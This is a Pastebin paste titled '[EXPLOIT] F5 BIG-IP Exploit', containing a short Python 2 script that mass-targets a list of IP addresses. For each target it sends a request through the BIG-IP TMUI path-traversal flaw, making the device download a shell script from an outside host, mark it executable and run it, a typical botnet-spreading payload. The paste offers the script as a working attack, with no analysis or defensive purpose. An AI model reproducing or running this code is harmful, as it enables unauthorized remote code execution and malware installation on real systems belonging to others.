Advertisement
Merlyz

[EXPLOIT] F5 BIG-IP Exploit

Oct 12th, 2020
240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.12 KB | None | 0 0
  1. import threading, sys, time, random, socket, re, os, struct, array, requests
  2. from threading import Thread
  3. from time import sleep
  4. import requests
  5. from requests.auth import HTTPDigestAuth
  6. from decimal import *  
  7.  
  8. if len(sys.argv) < 2:
  9.     print "\033[37mUsage: python "+sys.argv[0]+" <list>\033[37m"
  10.     sys.exit()
  11.    
  12. ips = open(sys.argv[1], "r").readlines()
  13.  
  14. class b4ckdoor(threading.Thread):
  15.         def __init__ (self, ip):
  16.             threading.Thread.__init__(self)
  17.             self.ip = str(ip).rstrip('\n')
  18.         def run(self):
  19.             try:
  20.                 print "\x1b[1;31m[\x1b[1;37mBig-Ip\x1b[1;31m]\x1b[1;37m Loading\x1b[1;31m[\x1b[1;36m\x1b[1;31m]" + self.ip
  21.                 url = "http://" + self.ip + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget+http%3A%2F%2F1.1.1.1%2Fcunt.sh+%3B+chmod+777+cunt.sh+%3B+sh+cunt.sh"
  22.                                
  23.                 requests.get(url, timeout=3)
  24.  
  25.             except Exception as e:
  26.                 pass
  27. for ip in ips:
  28.     try:
  29.         n = b4ckdoor(ip)
  30.         n.start()
  31.         time.sleep(0.03)
  32.     except:
  33.         pas
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement